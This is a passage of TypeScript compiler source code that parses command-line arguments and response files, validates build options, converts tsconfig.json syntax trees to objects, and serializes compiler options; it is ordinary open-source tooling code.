    if (startsWith(value, ""-"")) {
        return undefined;
    }
    if (opt.type === ""listOrElement"" && !value.includes("","")) {
        return validateJsonOptionValue(opt, value, errors);
    }
    if (value === """") {
        return [];
    }
    const values = value.split("","");
    switch (opt.element.type) {
        case ""number"":
            return mapDefined(values, v => validateJsonOptionValue(opt.element, parseInt(v), errors));
        case ""string"":
            return mapDefined(values, v => validateJsonOptionValue(opt.element, v || """", errors));
        case ""boolean"":
        case ""object"":
            return Debug.fail(`List of ${opt.element.type} is not yet supported.`);
        default:
            return mapDefined(values, v => parseCustomTypeOption(opt.element as CommandLineOptionOfCustomType, v, errors));
    }
}

/** @internal */
export interface OptionsBase {
    [option: string]: CompilerOptionsValue | TsConfigSourceFile | undefined;
}

/** @internal */
export interface BaseParsedCommandLine {
    options: OptionsBase;
    watchOptions: WatchOptions | undefined;
    fileNames: string[];
    errors: Diagnostic[];
}

/** @internal */
export interface ParseCommandLineWorkerDiagnostics extends DidYouMeanOptionsDiagnostics {
    getOptionsNameMap: () => OptionsNameMap;
    optionTypeMismatchDiagnostic: DiagnosticMessage;
}

function getOptionName(option: CommandLineOption) {
    return option.name;
}

function createUnknownOptionError(
    unknownOption: string,
    diagnostics: DidYouMeanOptionsDiagnostics,
    unknownOptionErrorText?: string,
    node?: PropertyName,
    sourceFile?: TsConfigSourceFile,
) {
    const otherOption = diagnostics.alternateMode?.getOptionsNameMap().optionsNameMap.get(unknownOption.toLowerCase());
    if (otherOption) {
        return createDiagnosticForNodeInSourceFileOrCompilerDiagnostic(
            sourceFile,
            node,
            otherOption !== tscBuildOption ?
                diagnostics.alternateMode!.diagnostic :
                Diagnostics.Option_build_must_be_the_first_command_line_argument,
            unknownOption,
        );
    }

    const possibleOption = getSpellingSuggestion(unknownOption, diagnostics.optionDeclarations, getOptionName);
    return possibleOption ?
        createDiagnosticForNodeInSourceFileOrCompilerDiagnostic(sourceFile, node, diagnostics.unknownDidYouMeanDiagnostic, unknownOptionErrorText || unknownOption, possibleOption.name) :
        createDiagnosticForNodeInSourceFileOrCompilerDiagnostic(sourceFile, node, diagnostics.unknownOptionDiagnostic, unknownOptionErrorText || unknownOption);
}

/** @internal */
export function parseCommandLineWorker(
    diagnostics: ParseCommandLineWorkerDiagnostics,
    commandLine: readonly string[],
    readFile?: (path: string) => string | undefined,
): BaseParsedCommandLine {
    const options = {} as OptionsBase;
    let watchOptions: WatchOptions | undefined;
    const fileNames: string[] = [];
    const errors: Diagnostic[] = [];

    parseStrings(commandLine);
    return {
        options,
        watchOptions,
        fileNames,
        errors,
    };

    function parseStrings(args: readonly string[]) {
        let i = 0;
        while (i < args.length) {
            const s = args[i];
            i++;
            if (s.charCodeAt(0) === CharacterCodes.at) {
                parseResponseFile(s.slice(1));
            }
            else if (s.charCodeAt(0) === CharacterCodes.minus) {
                const inputOptionName = s.slice(s.charCodeAt(1) === CharacterCodes.minus ? 2 : 1);
                const opt = getOptionDeclarationFromName(diagnostics.getOptionsNameMap, inputOptionName, /*allowShort*/ true);
                if (opt) {
                    i = parseOptionValue(args, i, diagnostics, opt, options, errors);
                }
                else {
                    const watchOpt = getOptionDeclarationFromName(watchOptionsDidYouMeanDiagnostics.getOptionsNameMap, inputOptionName, /*allowShort*/ true);
                    if (watchOpt) {
                        i = parseOptionValue(args, i, watchOptionsDidYouMeanDiagnostics, watchOpt, watchOptions || (watchOptions = {}), errors);
                    }
                    else {
                        errors.push(createUnknownOptionError(inputOptionName, diagnostics, s));
                    }
                }
            }
            else {
                fileNames.push(s);
            }
        }
    }

    function parseResponseFile(fileName: string) {
        const text = tryReadFile(fileName, readFile || (fileName => sys.readFile(fileName)));
        if (!isString(text)) {
            errors.push(text);
            return;
        }

        const args: string[] = [];
        let pos = 0;
        while (true) {
            while (pos < text.length && text.charCodeAt(pos) <= CharacterCodes.space) pos++;
            if (pos >= text.length) break;
            const start = pos;
            if (text.charCodeAt(start) === CharacterCodes.doubleQuote) {
                pos++;
                while (pos < text.length && text.charCodeAt(pos) !== CharacterCodes.doubleQuote) pos++;
                if (pos < text.length) {
                    args.push(text.substring(start + 1, pos));
                    pos++;
                }
                else {
                    errors.push(createCompilerDiagnostic(Diagnostics.Unterminated_quoted_string_in_response_file_0, fileName));
                }
            }
            else {
                while (text.charCodeAt(pos) > CharacterCodes.space) pos++;
                args.push(text.substring(start, pos));
            }
        }
        parseStrings(args);
    }
}

function parseOptionValue(
    args: readonly string[],
    i: number,
    diagnostics: ParseCommandLineWorkerDiagnostics,
    opt: CommandLineOption,
    options: OptionsBase,
    errors: Diagnostic[],
) {
    if (opt.isTSConfigOnly) {
        const optValue = args[i];
        if (optValue === ""null"") {
            options[opt.name] = undefined;
            i++;
        }
        else if (opt.type === ""boolean"") {
            if (optValue === ""false"") {
                options[opt.name] = validateJsonOptionValue(opt, /*value*/ false, errors);
                i++;
            }
            else {
                if (optValue === ""true"") i++;
                errors.push(createCompilerDiagnostic(Diagnostics.Option_0_can_only_be_specified_in_tsconfig_json_file_or_set_to_false_or_null_on_command_line, opt.name));
            }
        }
        else {
            errors.push(createCompilerDiagnostic(Diagnostics.Option_0_can_only_be_specified_in_tsconfig_json_file_or_set_to_null_on_command_line, opt.name));
            if (optValue && !startsWith(optValue, ""-"")) i++;
        }
    }
    else {
        // Check to see if no argument was provided (e.g. ""--locale"" is the last command-line argument).
        if (!args[i] && opt.type !== ""boolean"") {
            errors.push(createCompilerDiagnostic(diagnostics.optionTypeMismatchDiagnostic, opt.name, getCompilerOptionValueTypeString(opt)));
        }

        if (args[i] !== ""null"") {
            switch (opt.type) {
                case ""number"":
                    options[opt.name] = validateJsonOptionValue(opt, parseInt(args[i]), errors);
                    i++;
                    break;
                case ""boolean"":
                    // boolean flag has optional value true, false, others
                    const optValue = args[i];
                    options[opt.name] = validateJsonOptionValue(opt, optValue !== ""false"", errors);
                    // consume next argument as boolean flag value
                    if (optValue === ""false"" || optValue === ""true"") {
                        i++;
                    }
                    break;
                case ""string"":
                    options[opt.name] = validateJsonOptionValue(opt, args[i] || """", errors);
                    i++;
                    break;
                case ""list"":
                    const result = parseListTypeOption(opt, args[i], errors);
                    options[opt.name] = result || [];
                    if (result) {
                        i++;
                    }
                    break;
                case ""listOrElement"":
                    Debug.fail(""listOrElement not supported here"");
                    break;
                // If not a primitive, the possible types are specified in what is effectively a map of options.
                default:
                    options[opt.name] = parseCustomTypeOption(opt as CommandLineOptionOfCustomType, args[i], errors);
                    i++;
                    break;
            }
        }
        else {
            options[opt.name] = undefined;
            i++;
        }
    }
    return i;
}

/** @internal */
export const compilerOptionsDidYouMeanDiagnostics: ParseCommandLineWorkerDiagnostics = {
    alternateMode: compilerOptionsAlternateMode,
    getOptionsNameMap,
    optionDeclarations,
    unknownOptionDiagnostic: Diagnostics.Unknown_compiler_option_0,
    unknownDidYouMeanDiagnostic: Diagnostics.Unknown_compiler_option_0_Did_you_mean_1,
    optionTypeMismatchDiagnostic: Diagnostics.Compiler_option_0_expects_an_argument,
};
export function parseCommandLine(commandLine: readonly string[], readFile?: (path: string) => string | undefined): ParsedCommandLine {
    return parseCommandLineWorker(compilerOptionsDidYouMeanDiagnostics, commandLine, readFile);
}

/** @internal */
export function getOptionFromName(optionName: string, allowShort?: boolean): CommandLineOption | undefined {
    return getOptionDeclarationFromName(getOptionsNameMap, optionName, allowShort);
}

function getOptionDeclarationFromName(getOptionNameMap: () => OptionsNameMap, optionName: string, allowShort = false): CommandLineOption | undefined {
    optionName = optionName.toLowerCase();
    const { optionsNameMap, shortOptionNames } = getOptionNameMap();
    // Try to translate short option names to their full equivalents.
    if (allowShort) {
        const short = shortOptionNames.get(optionName);
        if (short !== undefined) {
            optionName = short;
        }
    }
    return optionsNameMap.get(optionName);
}

/** Parsed command line for build */
export interface ParsedBuildCommand {
    buildOptions: BuildOptions;
    watchOptions: WatchOptions | undefined;
    projects: string[];
    errors: Diagnostic[];
}

let buildOptionsNameMapCache: OptionsNameMap;
function getBuildOptionsNameMap(): OptionsNameMap {
    return buildOptionsNameMapCache || (buildOptionsNameMapCache = createOptionNameMap(buildOpts));
}

const buildOptionsAlternateMode: AlternateModeDiagnostics = {
    diagnostic: Diagnostics.Compiler_option_0_may_not_be_used_with_build,
    getOptionsNameMap,
};

const buildOptionsDidYouMeanDiagnostics: ParseCommandLineWorkerDiagnostics = {
    alternateMode: buildOptionsAlternateMode,
    getOptionsNameMap: getBuildOptionsNameMap,
    optionDeclarations: buildOpts,
    unknownOptionDiagnostic: Diagnostics.Unknown_build_option_0,
    unknownDidYouMeanDiagnostic: Diagnostics.Unknown_build_option_0_Did_you_mean_1,
    optionTypeMismatchDiagnostic: Diagnostics.Build_option_0_requires_a_value_of_type_1,
};

export function parseBuildCommand(commandLine: readonly string[]): ParsedBuildCommand {
    const { options, watchOptions, fileNames: projects, errors } = parseCommandLineWorker(
        buildOptionsDidYouMeanDiagnostics,
        commandLine,
    );
    const buildOptions = options as BuildOptions;

    if (projects.length === 0) {
        // tsc -b invoked with no extra arguments; act as if invoked with ""tsc -b .""
        projects.push(""."");
    }

    // Nonsensical combinations
    if (buildOptions.clean && buildOptions.force) {
        errors.push(createCompilerDiagnostic(Diagnostics.Options_0_and_1_cannot_be_combined, ""clean"", ""force""));
    }
    if (buildOptions.clean && buildOptions.verbose) {
        errors.push(createCompilerDiagnostic(Diagnostics.Options_0_and_1_cannot_be_combined, ""clean"", ""verbose""));
    }
    if (buildOptions.clean && buildOptions.watch) {
        errors.push(createCompilerDiagnostic(Diagnostics.Options_0_and_1_cannot_be_combined, ""clean"", ""watch""));
    }
    if (buildOptions.watch && buildOptions.dry) {
        errors.push(createCompilerDiagnostic(Diagnostics.Options_0_and_1_cannot_be_combined, ""watch"", ""dry""));
    }

    return { buildOptions, watchOptions, projects, errors };
}

/** @internal */
export function getDiagnosticText(message: DiagnosticMessage, ...args: any[]): string {
    return cast(createCompilerDiagnostic(message, ...args).messageText, isString);
}

export type DiagnosticReporter = (diagnostic: Diagnostic) => void;
/**
 * Reports config file diagnostics
 */
export interface ConfigFileDiagnosticsReporter {
    /**
     * Reports unrecoverable error when parsing config file
     */
    onUnRecoverableConfigFileDiagnostic: DiagnosticReporter;
}

/**
 * Interface extending ParseConfigHost to support ParseConfigFile that reads config file and reports errors
 */
export interface ParseConfigFileHost extends ParseConfigHost, ConfigFileDiagnosticsReporter {
    getCurrentDirectory(): string;
}

/**
 * Reads the config file, reports errors if any and exits if the config file cannot be found
 */
export function getParsedCommandLineOfConfigFile(
    configFileName: string,
    optionsToExtend: CompilerOptions | undefined,
    host: ParseConfigFileHost,
    extendedConfigCache?: Map<string, ExtendedConfigCacheEntry>,
    watchOptionsToExtend?: WatchOptions,
    extraFileExtensions?: readonly FileExtensionInfo[],
): ParsedCommandLine | undefined {
    const configFileText = tryReadFile(configFileName, fileName => host.readFile(fileName));
    if (!isString(configFileText)) {
        host.onUnRecoverableConfigFileDiagnostic(configFileText);
        return undefined;
    }

    const result = parseJsonText(configFileName, configFileText);
    const cwd = host.getCurrentDirectory();
    result.path = toPath(configFileName, cwd, createGetCanonicalFileName(host.useCaseSensitiveFileNames));
    result.resolvedPath = result.path;
    result.originalFileName = result.fileName;
    return parseJsonSourceFileConfigFileContent(
        result,
        host,
        getNormalizedAbsolutePath(getDirectoryPath(configFileName), cwd),
        optionsToExtend,
        getNormalizedAbsolutePath(configFileName, cwd),
        /*resolutionStack*/ undefined,
        extraFileExtensions,
        extendedConfigCache,
        watchOptionsToExtend,
    );
}

/**
 * Read tsconfig.json file
 * @param fileName The path to the config file
 */
export function readConfigFile(fileName: string, readFile: (path: string) => string | undefined): { config?: any; error?: Diagnostic; } {
    const textOrDiagnostic = tryReadFile(fileName, readFile);
    return isString(textOrDiagnostic) ? parseConfigFileTextToJson(fileName, textOrDiagnostic) : { config: {}, error: textOrDiagnostic };
}

/**
 * Parse the text of the tsconfig.json file
 * @param fileName The path to the config file
 * @param jsonText The text of the config file
 */
export function parseConfigFileTextToJson(fileName: string, jsonText: string): { config?: any; error?: Diagnostic; } {
    const jsonSourceFile = parseJsonText(fileName, jsonText);
    return {
        config: convertConfigFileToObject(jsonSourceFile, jsonSourceFile.parseDiagnostics, /*jsonConversionNotifier*/ undefined),
        error: jsonSourceFile.parseDiagnostics.length ? jsonSourceFile.parseDiagnostics[0] : undefined,
    };
}

/**
 * Read tsconfig.json file
 * @param fileName The path to the config file
 */
export function readJsonConfigFile(fileName: string, readFile: (path: string) => string | undefined): TsConfigSourceFile {
    const textOrDiagnostic = tryReadFile(fileName, readFile);
    return isString(textOrDiagnostic) ? parseJsonText(fileName, textOrDiagnostic) : { fileName, parseDiagnostics: [textOrDiagnostic] } as TsConfigSourceFile;
}

/** @internal */
export function tryReadFile(fileName: string, readFile: (path: string) => string | undefined): string | Diagnostic {
    let text: string | undefined;
    try {
        text = readFile(fileName);
    }
    catch (e) {
        return createCompilerDiagnostic(Diagnostics.Cannot_read_file_0_Colon_1, fileName, e.message);
    }
    return text === undefined ? createCompilerDiagnostic(Diagnostics.Cannot_read_file_0, fileName) : text;
}

function commandLineOptionsToMap(options: readonly CommandLineOption[]) {
    return arrayToMap(options, getOptionName);
}

const typeAcquisitionDidYouMeanDiagnostics: DidYouMeanOptionsDiagnostics = {
    optionDeclarations: typeAcquisitionDeclarations,
    unknownOptionDiagnostic: Diagnostics.Unknown_type_acquisition_option_0,
    unknownDidYouMeanDiagnostic: Diagnostics.Unknown_type_acquisition_option_0_Did_you_mean_1,
};

let watchOptionsNameMapCache: OptionsNameMap;
function getWatchOptionsNameMap(): OptionsNameMap {
    return watchOptionsNameMapCache || (watchOptionsNameMapCache = createOptionNameMap(optionsForWatch));
}
const watchOptionsDidYouMeanDiagnostics: ParseCommandLineWorkerDiagnostics = {
    getOptionsNameMap: getWatchOptionsNameMap,
    optionDeclarations: optionsForWatch,
    unknownOptionDiagnostic: Diagnostics.Unknown_watch_option_0,
    unknownDidYouMeanDiagnostic: Diagnostics.Unknown_watch_option_0_Did_you_mean_1,
    optionTypeMismatchDiagnostic: Diagnostics.Watch_option_0_requires_a_value_of_type_1,
};

let commandLineCompilerOptionsMapCache: Map<string, CommandLineOption>;
function getCommandLineCompilerOptionsMap() {
    return commandLineCompilerOptionsMapCache || (commandLineCompilerOptionsMapCache = commandLineOptionsToMap(optionDeclarations));
}
let commandLineWatchOptionsMapCache: Map<string, CommandLineOption>;
function getCommandLineWatchOptionsMap() {
    return commandLineWatchOptionsMapCache || (commandLineWatchOptionsMapCache = commandLineOptionsToMap(optionsForWatch));
}
let commandLineTypeAcquisitionMapCache: Map<string, CommandLineOption>;
function getCommandLineTypeAcquisitionMap() {
    return commandLineTypeAcquisitionMapCache || (commandLineTypeAcquisitionMapCache = commandLineOptionsToMap(typeAcquisitionDeclarations));
}

const extendsOptionDeclaration: CommandLineOptionOfListType = {
    name: ""extends"",
    type: ""listOrElement"",
    element: {
        name: ""extends"",
        type: ""string"",
    },
    category: Diagnostics.File_Management,
    disallowNullOrUndefined: true,
};
const compilerOptionsDeclaration: TsConfigOnlyOption = {
    name: ""compilerOptions"",
    type: ""object"",
    elementOptions: getCommandLineCompilerOptionsMap(),
    extraKeyDiagnostics: compilerOptionsDidYouMeanDiagnostics,
};
const watchOptionsDeclaration: TsConfigOnlyOption = {
    name: ""watchOptions"",
    type: ""object"",
    elementOptions: getCommandLineWatchOptionsMap(),
    extraKeyDiagnostics: watchOptionsDidYouMeanDiagnostics,
};
const typeAcquisitionDeclaration: TsConfigOnlyOption = {
    name: ""typeAcquisition"",
    type: ""object"",
    elementOptions: getCommandLineTypeAcquisitionMap(),
    extraKeyDiagnostics: typeAcquisitionDidYouMeanDiagnostics,
};
let _tsconfigRootOptions: TsConfigOnlyOption;
function getTsconfigRootOptionsMap() {
    if (_tsconfigRootOptions === undefined) {
        _tsconfigRootOptions = {
            name: undefined!, // should never be needed since this is root
            type: ""object"",
            elementOptions: commandLineOptionsToMap([
                compilerOptionsDeclaration,
                watchOptionsDeclaration,
                typeAcquisitionDeclaration,
                extendsOptionDeclaration,
                {
                    name: ""references"",
                    type: ""list"",
                    element: {
                        name: ""references"",
                        type: ""object"",
                    },
                    category: Diagnostics.Projects,
                },
                {
                    name: ""files"",
                    type: ""list"",
                    element: {
                        name: ""files"",
                        type: ""string"",
                    },
                    category: Diagnostics.File_Management,
                },
                {
                    name: ""include"",
                    type: ""list"",
                    element: {
                        name: ""include"",
                        type: ""string"",
                    },
                    category: Diagnostics.File_Management,
                    defaultValueDescription: Diagnostics.if_files_is_specified_otherwise_Asterisk_Asterisk_Slash_Asterisk,
                },
                {
                    name: ""exclude"",
                    type: ""list"",
                    element: {
                        name: ""exclude"",
                        type: ""string"",
                    },
                    category: Diagnostics.File_Management,
                    defaultValueDescription: Diagnostics.node_modules_bower_components_jspm_packages_plus_the_value_of_outDir_if_one_is_specified,
                },
                compileOnSaveCommandLineOption,
            ]),
        };
    }
    return _tsconfigRootOptions;
}

/** @internal */
export interface JsonConversionNotifier {
    rootOptions: TsConfigOnlyOption;
    onPropertySet(
        keyText: string,
        value: any,
        propertyAssignment: PropertyAssignment,
        parentOption: TsConfigOnlyOption | undefined,
        option: CommandLineOption | undefined,
    ): void;
}

function convertConfigFileToObject(
    sourceFile: JsonSourceFile,
    errors: Diagnostic[],
    jsonConversionNotifier: JsonConversionNotifier | undefined,
): any {
    const rootExpression: Expression | undefined = sourceFile.statements[0]?.expression;
    if (rootExpression && rootExpression.kind !== SyntaxKind.ObjectLiteralExpression) {
        errors.push(createDiagnosticForNodeInSourceFile(
            sourceFile,
            rootExpression,
            Diagnostics.The_root_value_of_a_0_file_must_be_an_object,
            getBaseFileName(sourceFile.fileName) === ""jsconfig.json"" ? ""jsconfig.json"" : ""tsconfig.json"",
        ));
        // Last-ditch error recovery. Somewhat useful because the JSON parser will recover from some parse errors by
        // synthesizing a top-level array literal expression. There's a reasonable chance the first element of that
        // array is a well-formed configuration object, made into an array element by stray characters.
        if (isArrayLiteralExpression(rootExpression)) {
            const firstObject = find(rootExpression.elements, isObjectLiteralExpression);
            if (firstObject) {
                return convertToJson(sourceFile, firstObject, errors, /*returnValue*/ true, jsonConversionNotifier);
            }
        }
        return {};
    }
    return convertToJson(sourceFile, rootExpression, errors, /*returnValue*/ true, jsonConversionNotifier);
}

/**
 * Convert the json syntax tree into the json value
 */
export function convertToObject(sourceFile: JsonSourceFile, errors: Diagnostic[]): any {
    return convertToJson(sourceFile, sourceFile.statements[0]?.expression, errors, /*returnValue*/ true, /*jsonConversionNotifier*/ undefined);
}

/**
 * Convert the json syntax tree into the json value and report errors
 * This returns the json value (apart from checking errors) only if returnValue provided is true.
 * Otherwise it just checks the errors and returns undefined
 *
 * @internal
 */
export function convertToJson(
    sourceFile: JsonSourceFile,
    rootExpression: Expression | undefined,
    errors: Diagnostic[],
    returnValue: boolean,
    jsonConversionNotifier: JsonConversionNotifier | undefined,
): any {
    if (!rootExpression) {
        return returnValue ? {} : undefined;
    }

    return convertPropertyValueToJson(rootExpression, jsonConversionNotifier?.rootOptions);

    function convertObjectLiteralExpressionToJson(
        node: ObjectLiteralExpression,
        objectOption: TsConfigOnlyOption | undefined,
    ): any {
        const result: any = returnValue ? {} : undefined;
        for (const element of node.properties) {
            if (element.kind !== SyntaxKind.PropertyAssignment) {
                errors.push(createDiagnosticForNodeInSourceFile(sourceFile, element, Diagnostics.Property_assignment_expected));
                continue;
            }

            if (element.questionToken) {
                errors.push(createDiagnosticForNodeInSourceFile(sourceFile, element.questionToken, Diagnostics.The_0_modifier_can_only_be_used_in_TypeScript_files, ""?""));
            }
            if (!isDoubleQuotedString(element.name)) {
                errors.push(createDiagnosticForNodeInSourceFile(sourceFile, element.name, Diagnostics.String_literal_with_double_quotes_expected));
            }

            const textOfKey = isComputedNonLiteralName(element.name) ? undefined : getTextOfPropertyName(element.name);
            const keyText = textOfKey && unescapeLeadingUnderscores(textOfKey);
            const option = keyText ? objectOption?.elementOptions?.get(keyText) : undefined;
            const value = convertPropertyValueToJson(element.initializer, option);
            if (typeof keyText !== ""undefined"") {
                if (returnValue) {
                    result[keyText] = value;
                }

                // Notify key value set, if user asked for it
                jsonConversionNotifier?.onPropertySet(keyText, value, element, objectOption, option);
            }
        }
        return result;
    }

    function convertArrayLiteralExpressionToJson(
        elements: NodeArray<Expression>,
        elementOption: CommandLineOption | undefined,
    ) {
        if (!returnValue) {
            elements.forEach(element => convertPropertyValueToJson(element, elementOption));
            return undefined;
        }

        // Filter out invalid values
        return filter(elements.map(element => convertPropertyValueToJson(element, elementOption)), v => v !== undefined);
    }

    function convertPropertyValueToJson(valueExpression: Expression, option: CommandLineOption | undefined): any {
        switch (valueExpression.kind) {
            case SyntaxKind.TrueKeyword:
                return true;

            case SyntaxKind.FalseKeyword:
                return false;

            case SyntaxKind.NullKeyword:
                return null; // eslint-disable-line no-restricted-syntax

            case SyntaxKind.StringLiteral:
                if (!isDoubleQuotedString(valueExpression)) {
                    errors.push(createDiagnosticForNodeInSourceFile(sourceFile, valueExpression, Diagnostics.String_literal_with_double_quotes_expected));
                }
                return (valueExpression as StringLiteral).text;

            case SyntaxKind.NumericLiteral:
                return Number((valueExpression as NumericLiteral).text);

            case SyntaxKind.PrefixUnaryExpression:
                if ((valueExpression as PrefixUnaryExpression).operator !== SyntaxKind.MinusToken || (valueExpression as PrefixUnaryExpression).operand.kind !== SyntaxKind.NumericLiteral) {
                    break; // not valid JSON syntax
                }
                return -Number(((valueExpression as PrefixUnaryExpression).operand as NumericLiteral).text);

            case SyntaxKind.ObjectLiteralExpression:
                const objectLiteralExpression = valueExpression as ObjectLiteralExpression;

                // Currently having element option declaration in the tsconfig with type ""object""
                // determines if it needs onSetValidOptionKeyValueInParent callback or not
                // At moment there are only ""compilerOptions"", ""typeAcquisition"" and ""typingOptions""
                // that satisfies it and need it to modify options set in them (for normalizing file paths)
                // vs what we set in the json
                // If need arises, we can modify this interface and callbacks as needed
                return convertObjectLiteralExpressionToJson(objectLiteralExpression, option as TsConfigOnlyOption);

            case SyntaxKind.ArrayLiteralExpression:
                return convertArrayLiteralExpressionToJson(
                    (valueExpression as ArrayLiteralExpression).elements,
                    option && (option as CommandLineOptionOfListType).element,
                );
        }

        // Not in expected format
        if (option) {
            errors.push(createDiagnosticForNodeInSourceFile(sourceFile, valueExpression, Diagnostics.Compiler_option_0_requires_a_value_of_type_1, option.name, getCompilerOptionValueTypeString(option)));
        }
        else {
            errors.push(createDiagnosticForNodeInSourceFile(sourceFile, valueExpression, Diagnostics.Property_value_can_only_be_string_literal_numeric_literal_true_false_null_object_literal_or_array_literal));
        }

        return undefined;
    }

    function isDoubleQuotedString(node: Node): boolean {
        return isStringLiteral(node) && isStringDoubleQuoted(node, sourceFile);
    }
}

function getCompilerOptionValueTypeString(option: CommandLineOption): string {
    return (option.type === ""listOrElement"") ?
        `${getCompilerOptionValueTypeString(option.element)} or Array` :
        option.type === ""list"" ?
        ""Array"" :
        isString(option.type) ? option.type : ""string"";
}

function isCompilerOptionsValue(option: CommandLineOption | undefined, value: any): value is CompilerOptionsValue {
    if (option) {
        if (isNullOrUndefined(value)) return !option.disallowNullOrUndefined; // All options are undefinable/nullable
        if (option.type === ""list"") {
            return isArray(value);
        }
        if (option.type === ""listOrElement"") {
            return isArray(value) || isCompilerOptionsValue(option.element, value);
        }
        const expectedType = isString(option.type) ? option.type : ""string"";
        return typeof value === expectedType;
    }
    return false;
}

/** @internal */
export interface TSConfig {
    compilerOptions: CompilerOptions;
    compileOnSave: boolean | undefined;
    exclude?: readonly string[];
    files: readonly string[] | undefined;
    include?: readonly string[];
    references: readonly ProjectReference[] | undefined;
}

/** @internal */
export interface ConvertToTSConfigHost {
    getCurrentDirectory(): string;
    useCaseSensitiveFileNames: boolean;
}

/**
 * Generate an uncommented, complete tsconfig for use with ""--showConfig""
 * @param configParseResult options to be generated into tsconfig.json
 * @param configFileName name of the parsed config file - output paths will be generated relative to this
 * @param host provides current directory and case sensitivity services
 *
 * @internal
 */
export function convertToTSConfig(configParseResult: ParsedCommandLine, configFileName: string, host: ConvertToTSConfigHost): TSConfig {
    const getCanonicalFileName = createGetCanonicalFileName(host.useCaseSensitiveFileNames);
    const files = map(
        filter(
            configParseResult.fileNames,
            !configParseResult.options.configFile?.configFileSpecs?.validatedIncludeSpecs ? returnTrue : matchesSpecs(
                configFileName,
                configParseResult.options.configFile.configFileSpecs.validatedIncludeSpecs,
                configParseResult.options.configFile.configFileSpecs.validatedExcludeSpecs,
                host,
            ),
        ),
        f => getRelativePathFromFile(getNormalizedAbsolutePath(configFileName, host.getCurrentDirectory()), getNormalizedAbsolutePath(f, host.getCurrentDirectory()), getCanonicalFileName),
    );
    const pathOptions = { configFilePath: getNormalizedAbsolutePath(configFileName, host.getCurrentDirectory()), useCaseSensitiveFileNames: host.useCaseSensitiveFileNames };
    const optionMap = serializeCompilerOptions(configParseResult.options, pathOptions);
    const watchOptionMap = configParseResult.watchOptions && serializeWatchOptions(configParseResult.watchOptions);
    const config: TSConfig & { watchOptions?: object; } = {
        compilerOptions: {
            ...optionMapToObject(optionMap),
            showConfig: undefined,
            configFile: undefined,
            configFilePath: undefined,
            help: undefined,
            init: undefined,
            listFiles: undefined,
            listEmittedFiles: undefined,
            project: undefined,
            build: undefined,
            version: undefined,
        },
        watchOptions: watchOptionMap && optionMapToObject(watchOptionMap),
        references: map(configParseResult.projectReferences, r => ({ ...r, path: r.originalPath ? r.originalPath : """", originalPath: undefined })),
        files: length(files) ? files : undefined,
        ...(configParseResult.options.configFile?.configFileSpecs ? {
            include: filterSameAsDefaultInclude(configParseResult.options.configFile.configFileSpecs.validatedIncludeSpecs),
            exclude: configParseResult.options.configFile.configFileSpecs.validatedExcludeSpecs,
        } : {}),
        compileOnSave: !!configParseResult.compileOnSave ? true : undefined,
    };

    const providedKeys = new Set(optionMap.keys());
    const impliedCompilerOptions: Record<string, CompilerOptionsValue> = {};
    for (const option in computedOptions) {
        if (!providedKeys.has(option) && optionDependsOn(option, providedKeys)) {
            const implied = computedOptions[option].computeValue(configParseResult.options);
            const defaultValue = computedOptions[option].computeValue({});
            if (implied !== defaultValue) {
                impliedCompilerOptions[option] = computedOptions[option].computeValue(configParseResult.options);
            }
        }
    }
    assign(config.compilerOptions, optionMapToObject(serializeCompilerOptions(impliedCompilerOptions, pathOptions)));
    return config;
}

function optionDependsOn(option: string, dependsOn: Set<string>): boolean {
    const seen = new Set<string>();
    return optionDependsOnRecursive(option);

    function optionDependsOnRecursive(option: string): boolean {
        if (addToSeen(seen, option)) {
            return some(computedOptions[option]?.dependencies, dep => dependsOn.has(dep) || optionDependsOnRecursive(dep));
        }
        return false;
    }
}

/** @internal */
export function optionMapToObject(optionMap: Map<string, CompilerOptionsValue>): object {
    return Object.fromEntries(optionMap);
}

function filterSameAsDefaultInclude(specs: readonly string[] | undefined) {
    if (!length(specs)) return undefined;
    if (length(specs) !== 1) return specs;
    if (specs![0] === defaultIncludeSpec) return undefined;
    return specs;
}

function matchesSpecs(path: string, includeSpecs: readonly string[] | undefined, excludeSpecs: readonly string[] | undefined, host: ConvertToTSConfigHost): (path: string) => boolean {
    if (!includeSpecs) return returnTrue;
    const patterns = getFileMatcherPatterns(path, excludeSpecs, includeSpecs, host.useCaseSensitiveFileNames, host.getCurrentDirectory());
    const excludeRe = patterns.excludePattern && getRegexFromPattern(patterns.excludePattern, host.useCaseSensitiveFileNames);
    const includeRe = patterns.includeFilePattern && getRegexFromPattern(patterns.includeFilePattern, host.useCaseSensitiveFileNames);
    if (includeRe) {
        if (excludeRe) {
            return path => !(includeRe.test(path) && !excludeRe.test(path));
        }
        return path => !includeRe.test(path);
    }
    if (excludeRe) {
        return path => excludeRe.test(path);
    }
    return returnTrue;
}

function getCustomTypeMapOfCommandLineOption(optionDefinition: CommandLineOption): Map<string, string | number> | undefined {
    switch (optionDefinition.type) {
        case ""string"":
        case ""number"":
        case ""boolean"":
        case ""object"":
            // this is of a type CommandLineOptionOfPrimitiveType
            return undefined;
        case ""list"":
        case ""listOrElement"":
            return getCustomTypeMapOfCommandLineOption(optionDefinition.element);
        default:
            return optionDefinition.type;
    }
}

/** @internal */
export function getNameOfCompilerOptionValue(value: CompilerOptionsValue, customTypeMap: Map<string, string | number>): string | undefined {
    // There is a typeMap associated with this command-line option so use it to map value back to its name
    return forEachEntry(customTypeMap, (mapValue, key) => {
        if (mapValue === value) {
            return key;
        }
    });
}

/** @internal */
export function serializeCompilerOptions(
    options: CompilerOptions,
    pathOptions?: { configFilePath: string; useCaseSensitiveFileNames: boolean; },
): Map<string, CompilerOptionsValue> {
    return serializeOptionBaseObject(options, getOptionsNameMap(), pathOptions);
}

function serializeWatchOptions(options: WatchOptions) {
    return serializeOptionBaseObject(options, getWatchOptionsNameMap());
}

function serializeOptionBaseObject(
    options: OptionsBase,
    { optionsNameMap }: OptionsNameMap,
    pathOptions?: { configFilePath: string; useCaseSensitiveFileNames: boolean; },
): Map<string, CompilerOptionsValue> {
    const result = new Map<string, CompilerOptionsValue>();
    const getCanonicalFileName = pathOptions && createGetCanonicalFileName(pathOptions.useCaseSensitiveFileNames);

    for (const name in options) {
        if (hasProperty(options, name)) {
            // tsconfig only options cannot be specified via command line,
            // so we can assume that only types that can appear here string | number | boolean
            if (optionsNameMap.has(name) && (optionsNameMap.get(name)!.category === Diagnostics.Command_line_Options || optionsNameMap.get(name)!.category === Diagnostics.Output_Formatting)) {
                continue;
            }
            const value = options[name] as CompilerOptionsValue;
            const optionDefinition = optionsNameMap.get(name.toLowerCase());
            if (optionDefinition) {
                Debug.assert(optionDefinition.type !== ""listOrElement"");
